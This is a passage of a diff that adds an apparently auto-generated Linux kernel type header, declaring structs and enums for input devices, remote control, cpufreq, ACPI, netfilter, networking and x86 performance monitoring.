__LINK_XSTATS_TYPE_MAX = 3, +}; + +struct ad_info { + __u16 aggregator_id; + __u16 ports; + __u16 actor_key; + __u16 partner_key; + __u8 partner_system[6]; +}; + +enum { + BOND_XSTATS_UNSPEC = 0, + BOND_XSTATS_3AD = 1, + __BOND_XSTATS_MAX = 2, +}; + +enum psmouse_state { + PSMOUSE_IGNORE = 0, + PSMOUSE_INITIALIZING = 1, + PSMOUSE_RESYNCING = 2, + PSMOUSE_CMD_MODE = 3, + PSMOUSE_ACTIVATED = 4, +}; + +typedef enum { + PSMOUSE_BAD_DATA = 0, + PSMOUSE_GOOD_DATA = 1, + PSMOUSE_FULL_PACKET = 2, +} psmouse_ret_t; + +enum psmouse_scale { + PSMOUSE_SCALE11 = 0, + PSMOUSE_SCALE21 = 1, +}; + +enum psmouse_type { + PSMOUSE_NONE = 0, + PSMOUSE_PS2 = 1, + PSMOUSE_PS2PP = 2, + PSMOUSE_THINKPS = 3, + PSMOUSE_GENPS = 4, + PSMOUSE_IMPS = 5, + PSMOUSE_IMEX = 6, + PSMOUSE_SYNAPTICS = 7, + PSMOUSE_ALPS = 8, + PSMOUSE_LIFEBOOK = 9, + PSMOUSE_TRACKPOINT = 10, + PSMOUSE_TOUCHKIT_PS2 = 11, + PSMOUSE_CORTRON = 12, + PSMOUSE_HGPK = 13, + PSMOUSE_ELANTECH = 14, + PSMOUSE_FSP = 15, + PSMOUSE_SYNAPTICS_RELATIVE = 16, + PSMOUSE_CYPRESS = 17, + PSMOUSE_FOCALTECH = 18, + PSMOUSE_VMMOUSE = 19, + PSMOUSE_BYD = 20, + PSMOUSE_SYNAPTICS_SMBUS = 21, + PSMOUSE_ELANTECH_SMBUS = 22, + PSMOUSE_AUTO = 23, +}; + +struct psmouse; + +struct psmouse_protocol { + enum psmouse_type type; + bool maxproto; + bool ignore_parity; + bool try_passthru; + bool smbus_companion; + const char *name; + const char *alias; + int (*detect)(struct psmouse *, bool); + int (*init)(struct psmouse *); +}; + +struct psmouse { + void *private; + struct input_dev *dev; + struct ps2dev ps2dev; + struct delayed_work resync_work; + const char *vendor; + const char *name; + const struct psmouse_protocol *protocol; + unsigned char packet[8]; + unsigned char badbyte; + unsigned char pktcnt; + unsigned char pktsize; + unsigned char oob_data_type; + unsigned char extra_buttons; + bool acks_disable_command; + unsigned int model; + long unsigned int last; + long unsigned int out_of_sync_cnt; + long unsigned int num_resyncs; + enum psmouse_state state; + char devname[64]; + char phys[32]; + unsigned int rate; + unsigned int resolution; + unsigned int resetafter; + unsigned int resync_time; + bool smartscroll; + psmouse_ret_t (*protocol_handler)(struct psmouse *); + void (*set_rate)(struct psmouse *, unsigned int); + void (*set_resolution)(struct psmouse *, unsigned int); + void (*set_scale)(struct psmouse *, enum psmouse_scale); + int (*reconnect)(struct psmouse *); + int (*fast_reconnect)(struct psmouse *); + void (*disconnect)(struct psmouse *); + void (*cleanup)(struct psmouse *); + int (*poll)(struct psmouse *); + void (*pt_activate)(struct psmouse *); + void (*pt_deactivate)(struct psmouse *); +}; + +struct psmouse_attribute { + struct device_attribute dattr; + void *data; + ssize_t (*show)(struct psmouse *, void *, char *); + ssize_t (*set)(struct psmouse *, void *, const char *, size_t); + bool protect; +}; + +struct trackpoint_data { + u8 variant_id; + u8 firmware_id; + u8 sensitivity; + u8 speed; + u8 inertia; + u8 reach; + u8 draghys; + u8 mindrag; + u8 thresh; + u8 upthresh; + u8 ztime; + u8 jenks; + u8 drift_time; + bool press_to_select; + bool skipback; + bool ext_dev; +}; + +struct trackpoint_attr_data { + size_t field_offset; + u8 command; + u8 mask; + bool inverted; + u8 power_on_default; +}; + +struct lirc_scancode { + __u64 timestamp; + __u16 flags; + __u16 rc_proto; + __u32 keycode; + __u64 scancode; +}; + +enum rc_driver_type { + RC_DRIVER_SCANCODE = 0, + RC_DRIVER_IR_RAW = 1, + RC_DRIVER_IR_RAW_TX = 2, +}; + +struct rc_scancode_filter { + u32 data; + u32 mask; +}; + +struct rc_dev; + +struct lirc_fh { + struct list_head list; + struct rc_dev *rc; + int carrier_low; + struct { + union { + struct __kfifo kfifo; + unsigned int *type; + const unsigned int *const_type; + char (*rectype)[0]; + unsigned int *ptr; + const unsigned int *ptr_const; + }; + unsigned int buf[0]; + } rawir; + struct { + union { + struct __kfifo kfifo; + struct lirc_scancode *type; + const struct lirc_scancode *const_type; + char (*rectype)[0]; + struct lirc_scancode *ptr; + const struct lirc_scancode *ptr_const; + }; + struct lirc_scancode buf[0]; + } scancodes; + wait_queue_head_t wait_poll; + u8 send_mode; + u8 rec_mode; +}; + +struct ir_raw_event_ctrl; + +struct rc_dev { + struct device dev; + bool managed_alloc; + const struct attribute_group *sysfs_groups[5]; + const char *device_name; + const char *input_phys; + struct input_id input_id; + const char *driver_name; + const char *map_name; + struct rc_map rc_map; + struct mutex lock; + unsigned int minor; + struct ir_raw_event_ctrl *raw; + struct input_dev *input_dev; + enum rc_driver_type driver_type; + bool idle; + bool encode_wakeup; + u64 allowed_protocols; + u64 enabled_protocols; + u64 allowed_wakeup_protocols; + enum rc_proto wakeup_protocol; + struct rc_scancode_filter scancode_filter; + struct rc_scancode_filter scancode_wakeup_filter; + u32 scancode_mask; + u32 users; + void *priv; + spinlock_t keylock; + bool keypressed; + long unsigned int keyup_jiffies; + struct timer_list timer_keyup; + struct timer_list timer_repeat; + u32 last_keycode; + enum rc_proto last_protocol; + u64 last_scancode; + u8 last_toggle; + u32 timeout; + u32 min_timeout; + u32 max_timeout; + u32 rx_resolution; + u32 tx_resolution; + struct device lirc_dev; + struct cdev lirc_cdev; + ktime_t gap_start; + spinlock_t lirc_fh_lock; + struct list_head lirc_fh; + bool registered; + int (*change_protocol)(struct rc_dev *, u64 *); + int (*open)(struct rc_dev *); + void (*close)(struct rc_dev *); + int (*s_tx_mask)(struct rc_dev *, u32); + int (*s_tx_carrier)(struct rc_dev *, u32); + int (*s_tx_duty_cycle)(struct rc_dev *, u32); + int (*s_rx_carrier_range)(struct rc_dev *, u32, u32); + int (*tx_ir)(struct rc_dev *, unsigned int *, unsigned int); + void (*s_idle)(struct rc_dev *, bool); + int (*s_wideband_receiver)(struct rc_dev *, int); + int (*s_carrier_report)(struct rc_dev *, int); + int (*s_filter)(struct rc_dev *, struct rc_scancode_filter *); + int (*s_wakeup_filter)(struct rc_dev *, struct rc_scancode_filter *); + int (*s_timeout)(struct rc_dev *, unsigned int); +}; + +struct ir_raw_event { + union { + u32 duration; + u32 carrier; + }; + u8 duty_cycle; + unsigned int pulse: 1; + unsigned int overflow: 1; + unsigned int timeout: 1; + unsigned int carrier_report: 1; +}; + +struct ir_raw_event_ctrl { + struct list_head list; + struct task_struct *thread; + struct { + union { + struct __kfifo kfifo; + struct ir_raw_event *type; + const struct ir_raw_event *const_type; + char (*rectype)[0]; + struct ir_raw_event *ptr; + const struct ir_raw_event *ptr_const; + }; + struct ir_raw_event buf[512]; + } kfifo; + ktime_t last_event; + struct rc_dev *dev; + spinlock_t edge_spinlock; + struct timer_list edge_handle; + struct ir_raw_event prev_ev; + struct ir_raw_event this_ev; + u32 bpf_sample; + struct bpf_prog_array *progs; +}; + +typedef s64 int64_t; + +struct update_util_data { + void (*func)(struct update_util_data *, u64, unsigned int); +}; + +struct cpufreq_policy_data { + struct cpufreq_cpuinfo cpuinfo; + struct cpufreq_frequency_table *freq_table; + unsigned int cpu; + unsigned int min; + unsigned int max; +}; + +struct cpufreq_freqs { + struct cpufreq_policy *policy; + unsigned int old; + unsigned int new; + u8 flags; +}; + +struct cpufreq_driver { + char name[16]; + u16 flags; + void *driver_data; + int (*init)(struct cpufreq_policy *); + int (*verify)(struct cpufreq_policy_data *); + int (*setpolicy)(struct cpufreq_policy *); + int (*target)(struct cpufreq_policy *, unsigned int, unsigned int); + int (*target_index)(struct cpufreq_policy *, unsigned int); + unsigned int (*fast_switch)(struct cpufreq_policy *, unsigned int); + void (*adjust_perf)(unsigned int, long unsigned int, long unsigned int, long unsigned int); + unsigned int (*get_intermediate)(struct cpufreq_policy *, unsigned int); + int (*target_intermediate)(struct cpufreq_policy *, unsigned int); + unsigned int (*get)(unsigned int); + void (*update_limits)(unsigned int); + int (*bios_limit)(int, unsigned int *); + int (*online)(struct cpufreq_policy *); + int (*offline)(struct cpufreq_policy *); + int (*exit)(struct cpufreq_policy *); + int (*suspend)(struct cpufreq_policy *); + int (*resume)(struct cpufreq_policy *); + void (*ready)(struct cpufreq_policy *); + struct freq_attr **attr; + bool boost_enabled; + int (*set_boost)(struct cpufreq_policy *, int); + void (*register_em)(struct cpufreq_policy *); +}; + +enum acpi_preferred_pm_profiles { + PM_UNSPECIFIED = 0, + PM_DESKTOP = 1, + PM_MOBILE = 2, + PM_WORKSTATION = 3, + PM_ENTERPRISE_SERVER = 4, + PM_SOHO_SERVER = 5, + PM_APPLIANCE_PC = 6, + PM_PERFORMANCE_SERVER = 7, + PM_TABLET = 8, +}; + +typedef u32 phys_cpuid_t; + +struct acpi_processor_cx { + u8 valid; + u8 type; + u32 address; + u8 entry_method; + u8 index; + u32 latency; + u8 bm_sts_skip; + char desc[32]; +}; + +struct acpi_lpi_state { + u32 min_residency; + u32 wake_latency; + u32 flags; + u32 arch_flags; + u32 res_cnt_freq; + u32 enable_parent_state; + u64 address; + u8 index; + u8 entry_method; + char desc[32]; +}; + +struct acpi_processor_power { + int count; + union { + struct acpi_processor_cx states[8]; + struct acpi_lpi_state lpi_states[8]; + }; + int timer_broadcast_on_state; +}; + +struct acpi_psd_package { + u64 num_entries; + u64 revision; + u64 domain; + u64 coord_type; + u64 num_processors; +}; + +struct acpi_pct_register { + u8 descriptor; + u16 length; + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 reserved; + u64 address; +} __attribute__((packed)); + +struct acpi_processor_px { + u64 core_frequency; + u64 power; + u64 transition_latency; + u64 bus_master_latency; + u64 control; + u64 status; +}; + +struct acpi_processor_performance { + unsigned int state; + unsigned int platform_limit; + struct acpi_pct_register control_register; + struct acpi_pct_register status_register; + long: 0; + unsigned int state_count; + long: 0; + struct acpi_processor_px *states; + struct acpi_psd_package domain_info; + cpumask_var_t shared_cpu_map; + unsigned int shared_type; +} __attribute__((packed)); + +struct acpi_tsd_package { + u64 num_entries; + u64 revision; + u64 domain; + u64 coord_type; + u64 num_processors; +}; + +struct acpi_processor_tx_tss { + u64 freqpercentage; + u64 power; + u64 transition_latency; + u64 control; + u64 status; +}; + +struct acpi_processor_tx { + u16 power; + u16 performance; +}; + +struct acpi_processor; + +struct acpi_processor_throttling { + unsigned int state; + unsigned int platform_limit; + struct acpi_pct_register control_register; + struct acpi_pct_register status_register; + long: 0; + unsigned int state_count; + long: 0; + struct acpi_processor_tx_tss *states_tss; + struct acpi_tsd_package domain_info; + cpumask_var_t shared_cpu_map; + int (*acpi_processor_get_throttling)(struct acpi_processor *); + int (*acpi_processor_set_throttling)(struct acpi_processor *, int, bool); + u32 address; + u8 duty_offset; + u8 duty_width; + u8 tsd_valid_flag; + long: 0; + unsigned int shared_type; + struct acpi_processor_tx states[16]; +} __attribute__((packed)); + +struct acpi_processor_flags { + u8 power: 1; + u8 performance: 1; + u8 throttling: 1; + u8 limit: 1; + u8 bm_control: 1; + u8 bm_check: 1; + u8 has_cst: 1; + u8 has_lpi: 1; + u8 power_setup_done: 1; + u8 bm_rld_set: 1; + u8 need_hotplug_init: 1; +}; + +struct acpi_processor_lx { + int px; + int tx; +}; + +struct acpi_processor_limit { + struct acpi_processor_lx state; + struct acpi_processor_lx thermal; + struct acpi_processor_lx user; +}; + +struct acpi_processor { + acpi_handle handle; + u32 acpi_id; + phys_cpuid_t phys_id; + u32 id; + u32 pblk; + int performance_platform_limit; + int throttling_platform_limit; + struct acpi_processor_flags flags; + struct acpi_processor_power power; + struct acpi_processor_performance *performance; + struct acpi_processor_throttling throttling; + struct acpi_processor_limit limit; + struct thermal_cooling_device *cdev; + struct device *dev; + struct freq_qos_request perflib_req; + struct freq_qos_request thermal_req; +}; + +struct acpi_processor_errata { + u8 smp; + struct { + u8 throttle: 1; + u8 fdma: 1; + u8 reserved: 6; + u32 bmisx; + } piix4; +}; + +struct cpuidle_driver; + +struct cppc_perf_caps { + u32 guaranteed_perf; + u32 highest_perf; + u32 nominal_perf; + u32 lowest_perf; + u32 lowest_nonlinear_perf; + u32 lowest_freq; + u32 nominal_freq; + u32 energy_perf; + bool auto_sel; +}; + +struct sample { + int32_t core_avg_perf; + int32_t busy_scaled; + u64 aperf; + u64 mperf; + u64 tsc; + u64 time; +}; + +struct pstate_data { + int current_pstate; + int min_pstate; + int max_pstate; + int max_pstate_physical; + int perf_ctl_scaling; + int scaling; + int turbo_pstate; + unsigned int min_freq; + unsigned int max_freq; + unsigned int turbo_freq; +}; + +struct vid_data { + int min; + int max; + int turbo; + int32_t ratio; +}; + +struct global_params { + bool no_turbo; + bool turbo_disabled; + bool turbo_disabled_mf; + int max_perf_pct; + int min_perf_pct; +}; + +struct cpudata { + int cpu; + unsigned int policy; + struct update_util_data update_util; + bool update_util_set; + struct pstate_data pstate; + struct vid_data vid; + u64 last_update; + u64 last_sample_time; + u64 aperf_mperf_shift; + u64 prev_aperf; + u64 prev_mperf; + u64 prev_tsc; + u64 prev_cummulative_iowait; + struct sample sample; + int32_t min_perf_ratio; + int32_t max_perf_ratio; + struct acpi_processor_performance acpi_perf_data; + bool valid_pss_table; + unsigned int iowait_boost; + s16 epp_powersave; + s16 epp_policy; + s16 epp_default; + s16 epp_cached; + u64 hwp_req_cached; + u64 hwp_cap_cached; + u64 last_io_update; + unsigned int sched_flags; + u32 hwp_boost_min; + bool suspended; + struct delayed_work hwp_notify_work; +}; + +struct pstate_funcs { + int (*get_max)(int); + int (*get_max_physical)(int); + int (*get_min)(int); + int (*get_turbo)(int); + int (*get_scaling)(); + int (*get_cpu_scaling)(int); + int (*get_aperf_mperf_shift)(); + u64 (*get_val)(struct cpudata *, int); + void (*get_vid)(struct cpudata *); +}; + +enum energy_perf_value_index { + EPP_INDEX_DEFAULT = 0, + EPP_INDEX_PERFORMANCE = 1, + EPP_INDEX_BALANCE_PERFORMANCE = 2, + EPP_INDEX_BALANCE_POWERSAVE = 3, + EPP_INDEX_POWERSAVE = 4, +}; + +enum { + PSS = 0, + PPC = 1, +}; + +struct kye_tablet_info { + __u32 product; + __s32 x_logical_maximum; + __s32 y_logical_maximum; + __s32 pressure_logical_maximum; + __s32 x_physical_maximum; + __s32 y_physical_maximum; + __s8 unit_exponent; + __s8 unit; + bool has_punk; + unsigned int control_rsize; + const __u8 *control_rdesc; +}; + +struct gro_cell { + struct sk_buff_head napi_skbs; + struct napi_struct napi; +}; + +struct percpu_free_defer { + struct callback_head rcu; + void *ptr; +}; + +enum { + TCA_BPF_UNSPEC = 0, + TCA_BPF_ACT = 1, + TCA_BPF_POLICE = 2, + TCA_BPF_CLASSID = 3, + TCA_BPF_OPS_LEN = 4, + TCA_BPF_OPS = 5, + TCA_BPF_FD = 6, + TCA_BPF_NAME = 7, + TCA_BPF_FLAGS = 8, + TCA_BPF_FLAGS_GEN = 9, + TCA_BPF_TAG = 10, + TCA_BPF_ID = 11, + __TCA_BPF_MAX = 12, +}; + +struct bpf_skb_data_end { + struct qdisc_skb_cb qdisc_cb; + void *data_meta; + void *data_end; +}; + +struct cls_bpf_head { + struct list_head plist; + struct idr handle_idr; + struct callback_head rcu; +}; + +struct cls_bpf_prog { + struct bpf_prog *filter; + struct list_head link; + struct tcf_result res; + bool exts_integrated; + u32 gen_flags; + unsigned int in_hw_count; + struct tcf_exts exts; + u32 handle; + u16 bpf_num_ops; + struct sock_filter *bpf_ops; + const char *bpf_name; + struct tcf_proto *tp; + struct rcu_work rwork; +}; + +struct coalesce_reply_data { + struct ethnl_reply_data base; + struct ethtool_coalesce coalesce; + struct kernel_ethtool_coalesce kernel_coalesce; + u32 supported_params; +}; + +enum nfnetlink_groups { + NFNLGRP_NONE = 0, + NFNLGRP_CONNTRACK_NEW = 1, + NFNLGRP_CONNTRACK_UPDATE = 2, + NFNLGRP_CONNTRACK_DESTROY = 3, + NFNLGRP_CONNTRACK_EXP_NEW = 4, + NFNLGRP_CONNTRACK_EXP_UPDATE = 5, + NFNLGRP_CONNTRACK_EXP_DESTROY = 6, + NFNLGRP_NFTABLES = 7, + NFNLGRP_ACCT_QUOTA = 8, + NFNLGRP_NFTRACE = 9, + __NFNLGRP_MAX = 10, +}; + +struct nfgenmsg { + __u8 nfgen_family; + __u8 version; + __be16 res_id; +}; + +enum nfnl_batch_attributes { + NFNL_BATCH_UNSPEC = 0, + NFNL_BATCH_GENID = 1, + __NFNL_BATCH_MAX = 2, +}; + +struct nfnl_info { + struct net *net; + struct sock *sk; + const struct nlmsghdr *nlh; + const struct nfgenmsg *nfmsg; + struct netlink_ext_ack *extack; +}; + +enum nfnl_callback_type { + NFNL_CB_UNSPEC = 0, + NFNL_CB_MUTEX = 1, + NFNL_CB_RCU = 2, + NFNL_CB_BATCH = 3, +}; + +struct nfnl_callback { + int (*call)(struct sk_buff *, const struct nfnl_info *, const struct nlattr * const *); + const struct nla_policy *policy; + enum nfnl_callback_type type; + __u16 attr_count; +}; + +enum nfnl_abort_action { + NFNL_ABORT_NONE = 0, + NFNL_ABORT_AUTOLOAD = 1, + NFNL_ABORT_VALIDATE = 2, +}; + +struct nfnetlink_subsystem { + const char *name; + __u8 subsys_id; + __u8 cb_count; + const struct nfnl_callback *cb; + struct module *owner; + int (*commit)(struct net *, struct sk_buff *); + int (*abort)(struct net *, struct sk_buff *, enum nfnl_abort_action); + bool (*valid_genid)(struct net *, u32); +}; + +struct nfnl_net { + struct sock *nfnl; +}; + +struct nfnl_err { + struct list_head head; + struct nlmsghdr *nlh; + int err; + struct netlink_ext_ack extack; +}; + +enum { + NFNL_BATCH_FAILURE = 1, + NFNL_BATCH_DONE = 2, + NFNL_BATCH_REPLAY = 4, +}; + +struct xt_counters { + __u64 pcnt; + __u64 bcnt; +}; + +struct ipt_ip { + struct in_addr src; + struct in_addr dst; + struct in_addr smsk; + struct in_addr dmsk; + char iniface[16]; + char outiface[16]; + unsigned char iniface_mask[16]; + unsigned char outiface_mask[16]; + __u16 proto; + __u8 flags; + __u8 invflags; +}; + +struct ipt_entry { + struct ipt_ip ip; + unsigned int nfcache; + __u16 target_offset; + __u16 next_offset; + unsigned int comefrom; + struct xt_counters counters; + unsigned char elems[0]; +}; + +struct ip6t_ip6 { + struct in6_addr src; + struct in6_addr dst; + struct in6_addr smsk; + struct in6_addr dmsk; + char iniface[16]; + char outiface[16]; + unsigned char iniface_mask[16]; + unsigned char outiface_mask[16]; + __u16 proto; + __u8 tos; + __u8 flags; + __u8 invflags; +}; + +struct ip6t_entry { + struct ip6t_ip6 ipv6; + unsigned int nfcache; + __u16 target_offset; + __u16 next_offset; + unsigned int comefrom; + struct xt_counters counters; + unsigned char elems[0]; +}; + +enum { + XT_CT_NOTRACK = 1, + XT_CT_NOTRACK_ALIAS = 2, + XT_CT_ZONE_DIR_ORIG = 4, + XT_CT_ZONE_DIR_REPL = 8, + XT_CT_ZONE_MARK = 16, + XT_CT_MASK = 31, +}; + +struct xt_ct_target_info { + __u16 flags; + __u16 zone; + __u32 ct_events; + __u32 exp_events; + char helper[16]; + struct nf_conn *ct; +}; + +struct xt_ct_target_info_v1 { + __u16 flags; + __u16 zone; + __u32 ct_events; + __u32 exp_events; + char helper[16]; + char timeout[32]; + struct nf_conn *ct; +}; + +struct packet_offload { + __be16 type; + u16 priority; + struct offload_callbacks callbacks; + struct list_head list; +}; + +typedef struct sk_buff * (*gro_receive_t)(struct list_head *, struct sk_buff *); + +struct seg6_pernet_data { + struct mutex lock; + struct in6_addr *tun_src; +}; + +struct seq_net_private { + struct net *net; + netns_tracker ns_tracker; +}; + +enum sock_type { + SOCK_STREAM = 1, + SOCK_DGRAM = 2, + SOCK_RAW = 3, + SOCK_RDM = 4, + SOCK_SEQPACKET = 5, + SOCK_DCCP = 6, + SOCK_PACKET = 10, +}; + +enum { + SOF_TIMESTAMPING_TX_HARDWARE = 1, + SOF_TIMESTAMPING_TX_SOFTWARE = 2, + SOF_TIMESTAMPING_RX_HARDWARE = 4, + SOF_TIMESTAMPING_RX_SOFTWARE = 8, + SOF_TIMESTAMPING_SOFTWARE = 16, + SOF_TIMESTAMPING_SYS_HARDWARE = 32, + SOF_TIMESTAMPING_RAW_HARDWARE = 64, + SOF_TIMESTAMPING_OPT_ID = 128, + SOF_TIMESTAMPING_TX_SCHED = 256, + SOF_TIMESTAMPING_TX_ACK = 512, + SOF_TIMESTAMPING_OPT_CMSG = 1024, + SOF_TIMESTAMPING_OPT_TSONLY = 2048, + SOF_TIMESTAMPING_OPT_STATS = 4096, + SOF_TIMESTAMPING_OPT_PKTINFO = 8192, + SOF_TIMESTAMPING_OPT_TX_SWHW = 16384, + SOF_TIMESTAMPING_BIND_PHC = 32768, + SOF_TIMESTAMPING_OPT_ID_TCP = 65536, + SOF_TIMESTAMPING_LAST = 65536, + SOF_TIMESTAMPING_MASK = 131071, +}; + +struct raw_hashinfo { + spinlock_t lock; + struct hlist_head ht[256]; +}; + +struct sockcm_cookie { + u64 transmit_time; + u32 mark; + u32 tsflags; +}; + +struct udphdr { + __be16 source; + __be16 dest; + __be16 len; + __sum16 check; +}; + +struct ipcm6_cookie { + struct sockcm_cookie sockc; + __s16 hlimit; + __s16 tclass; + __u16 gso_size; + __s8 dontfrag; + struct ipv6_txoptions *opt; +}; + +struct inet_protosw { + struct list_head list; + short unsigned int type; + short unsigned int protocol; + struct proto *prot; + const struct proto_ops *ops; + unsigned char flags; +}; + +struct ipv6_sr_hdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 type; + __u8 segments_left; + __u8 first_segment; + __u8 flags; + __u16 tag; + struct in6_addr segments[0]; +}; + +struct udp_skb_cb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + __u16 cscov; + __u8 partial_cov; +}; + +struct udp_dev_scratch { + u32 _tsize_state; + u16 len; + bool is_linear; + bool csum_unnecessary; +}; + +struct udp_seq_afinfo { + sa_family_t family; + struct udp_table *udp_table; +}; + +struct udp_iter_state { + struct seq_net_private p; + int bucket; +}; + +struct uevent_sock { + struct list_head list; + struct sock *sk; +}; + +struct dev_ext_attribute { + struct device_attribute attr; + void *var; +}; + +enum uncore_access_type { + UNCORE_ACCESS_MSR = 0, + UNCORE_ACCESS_MMIO = 1, + UNCORE_ACCESS_PCI = 2, + UNCORE_ACCESS_MAX = 3, +}; + +enum { + SNBEP_PCI_QPI_PORT0_FILTER = 0, + SNBEP_PCI_QPI_PORT1_FILTER = 1, + BDX_PCI_QPI_PORT2_FILTER = 2, +}; + +enum { + SNBEP_PCI_UNCORE_HA = 0, + SNBEP_PCI_UNCORE_IMC = 1, + SNBEP_PCI_UNCORE_QPI = 2, + SNBEP_PCI_UNCORE_R2PCIE = 3, + SNBEP_PCI_UNCORE_R3QPI = 4, +}; + +enum { + IVBEP_PCI_UNCORE_HA = 0, + IVBEP_PCI_UNCORE_IMC = 1, + IVBEP_PCI_UNCORE_IRP = 2, + IVBEP_PCI_UNCORE_QPI = 3, + IVBEP_PCI_UNCORE_R2PCIE = 4, + IVBEP_PCI_UNCORE_R3QPI = 5, +}; + +enum { + KNL_PCI_UNCORE_MC_UCLK = 0, + KNL_PCI_UNCORE_MC_DCLK = 1, + KNL_PCI_UNCORE_EDC_UCLK = 2, + KNL_PCI_UNCORE_EDC_ECLK = 3, + KNL_PCI_UNCORE_M2PCIE = 4, + KNL_PCI_UNCORE_IRP = 5, +}; + +enum { + HSWEP_PCI_UNCORE_HA = 0, + HSWEP_PCI_UNCORE_IMC = 1, + HSWEP_PCI_UNCORE_IRP = 2, + HSWEP_PCI_UNCORE_QPI = 3, + HSWEP_PCI_UNCORE_R2PCIE = 4, + HSWEP_PCI_UNCORE_R3QPI = 5, +}; + +enum { + BDX_PCI_UNCORE_HA = 0, + BDX_PCI_UNCORE_IMC = 1, + BDX_PCI_UNCORE_IRP = 2, + BDX_PCI_UNCORE_QPI = 3, + BDX_PCI_UNCORE_R2PCIE = 4, + BDX_PCI_UNCORE_R3QPI = 5, +}; + +enum { + IIO_TOPOLOGY_TYPE = 0, + UPI_TOPOLOGY_TYPE = 1, + TOPOLOGY_MAX = 2, +}; + +enum perf_uncore_iio_freerunning_type_id { + SKX_IIO_MSR_IOCLK = 0, + SKX_IIO_MSR_BW = 1, + SKX_IIO_MSR_UTIL = 2, + SKX_IIO_FREERUNNING_TYPE_MAX = 3, +}; + +enum { + SKX_PCI_UNCORE_IMC = 0, + SKX_PCI_UNCORE_M2M = 1, + SKX_PCI_UNCORE_UPI = 2, + SKX_PCI_UNCORE_M2PCIE = 3, + SKX_PCI_UNCORE_M3UPI = 4, +}; + +enum { + SNR_QAT_PMON_ID = 0, + SNR_CBDMA_DMI_PMON_ID = 1, + SNR_NIS_PMON_ID = 2, + SNR_DLB_PMON_ID = 3, + SNR_PCIE_GEN3_PMON_ID = 4, +}; + +enum perf_uncore_snr_iio_freerunning_type_id { + SNR_IIO_MSR_IOCLK = 0, + SNR_IIO_MSR_BW_IN = 1, + SNR_IIO_FREERUNNING_TYPE_MAX = 2, +}; + +enum { + SNR_PCI_UNCORE_M2M = 0, + SNR_PCI_UNCORE_PCIE3 = 1, +}; + +enum perf_uncore_snr_imc_freerunning_type_id { + SNR_IMC_DCLK = 0, + SNR_IMC_DDR = 1, + SNR_IMC_FREERUNNING_TYPE_MAX = 2, +}; + +enum { + ICX_PCIE1_PMON_ID = 0, + ICX_PCIE2_PMON_ID = 1, + ICX_PCIE3_PMON_ID = 2, + ICX_PCIE4_PMON_ID = 3, + ICX_PCIE5_PMON_ID = 4, + ICX_CBDMA_DMI_PMON_ID = 5, +}; + +enum perf_uncore_icx_iio_freerunning_type_id { + ICX_IIO_MSR_IOCLK = 0, + ICX_IIO_MSR_BW_IN = 1, + ICX_IIO_FREERUNNING_TYPE_MAX = 2, +}; + +enum { + ICX_PCI_UNCORE_M2M = 0, + ICX_PCI_UNCORE_UPI = 1, + ICX_PCI_UNCORE_M3UPI = 2, +}; + +enum perf_uncore_icx_imc_freerunning_type_id { + ICX_IMC_DCLK = 0, + ICX_IMC_DDR = 1, + ICX_IMC_DDRT = 2, + ICX_IMC_FREERUNNING_TYPE_MAX = 3, +}; + +enum perf_uncore_spr_iio_freerunning_type_id { + SPR_IIO_MSR_IOCLK = 0, + SPR_IIO_MSR_BW_IN = 1, + SPR_IIO_MSR_BW_OUT = 2, + SPR_IIO_FREERUNNING_TYPE_MAX = 3, +}; + +enum perf_uncore_spr_imc_freerunning_type_id { + SPR_IMC_DCLK = 0, + SPR_IMC_PQ_CYCLES = 1, + SPR_IMC_FREERUNNING_TYPE_MAX = 2, +}; + +enum align_flags { + ALIGN_VA_32 = 1, + ALIGN_VA_64 = 2, +}; + +enum spectre_v2_mitigation { + SPECTRE_V2_NONE = 0, + SPECTRE_V2_RETPOLINE = 1, + SPECTRE_V2_LFENCE = 2, + SPECTRE_V2_EIBRS = 3, + SPECTRE_V2_EIBRS_RETPOLINE = 4, + SPECTRE_V2_EIBRS_LFENCE = 5, + SPECTRE_V2_IBRS = 6, +}; + +enum cpuid_regs_idx { + CPUID_EAX = 0, + CPUID_EBX = 1, + CPUID_ECX = 2, + CPUID_EDX = 3, +}; + +struct cpu_dev { + const char *c_vendor; + const char *c_ident[2]; + void (*c_early_init)(struct cpuinfo_x86 *); + void (*c_bsp_init)(struct cpuinfo_x86 *); + void (*c_init)(struct cpuinfo_x86 *); + void (*c_identify)(struct cpuinfo_x86 *); + void (*c_detect_tlb)(struct cpuinfo_x86 *); + int c_x86_vendor; +}; + +enum tsx_ctrl_states { + TSX_CTRL_ENABLE = 0, + TSX_CTRL_DISABLE = 1, + TSX_CTRL_RTM_ALWAYS_ABORT = 2, + TSX_CTRL_NOT_SUPPORTED = 3, +}; + +struct cpuid_bit { + u16 feature; + u8 reg; + u8 bit; + u32 level; + u32 sub_leaf; +}; + +struct gen_pool; + +typedef long unsigned int (*genpool_algo_t)(long unsigned int *, long unsigned int, long unsigned int, unsigned int, void *, struct gen_pool *, long unsigned int); + +struct gen_pool { + spinlock_t lock; + struct list_head chunks; + int min_alloc_order; + genpool_algo_t algo; + void *data; + const char *name; +}; + +struct mce_evt_llist { + struct llist_node llnode; + struct mce mce; +}; + +struct irq_cfg { + unsigned int dest_apicid; + unsigned int vector; +}; + +enum { + X86_IRQ_ALLOC_LEGACY = 1, +}; + +struct apic_chip_data { + struct irq_cfg hw_irq_cfg; + unsigned int vector; + unsigned int prev_vector; + unsigned int cpu; + unsigned int prev_cpu; + unsigned int irq; + struct hlist_node clist; + unsigned int move_in_progress: 1; + unsigned int is_managed: 1; + unsigned int can_reserve: 1; + unsigned int has_reserved: 1; +}; + +struct irq_matrix; + +enum { + REGION_INTERSECTS = 0, + REGION_DISJOINT = 1, + REGION_MIXED = 2, +}; + +struct resource_constraint { + resource_size_t min; + resource_size_t max; + resource_size_t align; + resource_size_t (*alignf)(void *, const struct resource *, resource_size_t, resource_size_t); + void *alignf_data; +}; + +enum { + MAX_IORES_LEVEL = 5, +}; + +struct region_devres { + struct resource *parent; + resource_size_t start; + resource_size_t n; +}; + +struct swait_queue { + struct task_struct *task; + struct list_head task_list; +}; + +struct platform_suspend_ops { + int (*valid)(suspend_state_t); + int (*begin)(suspend_state_t); + int (*prepare)(); + int (*prepare_late)(); + int (*enter)(suspend_state_t); + void (*wake)(); + void (*finish)(); + bool (*suspend_again)(); + void (*end)(); + void (*recover)(); +}; + +struct platform_s2idle_ops { + int (*begin)(); + int (*prepare)(); + int (*prepare_late)(); + void (*check)(); + bool 